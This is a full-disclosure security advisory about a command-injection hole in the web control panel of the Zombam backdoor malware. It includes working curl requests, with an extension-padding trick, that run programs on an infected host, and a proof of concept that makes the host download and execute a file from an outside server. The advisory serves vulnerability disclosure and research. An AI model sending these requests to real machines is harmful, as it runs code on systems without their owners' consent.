full-disclosure - [FD] Backdoor.Win32.Zombam.gen / Unauthenticated URL Command Injection

Open Source and information security mailing list archives

Date: Thu, 10 Jun 2021 22:08:34 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Zombam.gen / Unauthenticated URL Command
	Injection

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/ff6516c881dee555b0cd253408b64404_B.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Zombam.gen
Vulnerability: Unauthenticated URL Command Injection
Description: Zombam malware listens on TCP port 80 and deploys a HTML Web
UI for basic remote administration capability. The RAT has option to kill
processes by clicking a link E.g. href="/kill&smss.exe&" this would
terminate the smss.exe process. By changing "kill" to exec
"exec&<command-to-run>" you can start arbitrary processes. Crafting a
successful injection requires padding an extra character to the end of the
executable extension you want to call, otherwise it gets truncated and will
fail. Example, curl http://x.x.x.x/exec&calc.exe results in the following
message: "error! calc.ex cannot be executed". However, padding the extra
character so ".exe" becomes ".exee", curl http://x.x.x.x/exec&calc.exee
will successfully process and we will get the response "calc.exe executed".
Type: PE32
MD5: ff6516c881dee555b0cd253408b64404
Vuln ID: MVID-2021-0244
Disclosure: 06/10/2021

Exploit/PoC:
Opens the default web-browser on the infected host to download the file
"DOOM.exe" from the server.

CURL http://x.x.x.x/exec&http://hyp3rlinx.altervista.org/DOOM.exee

HTTP Response:
http://hyp3rlinx.altervista.org/DOOM.exe executed

Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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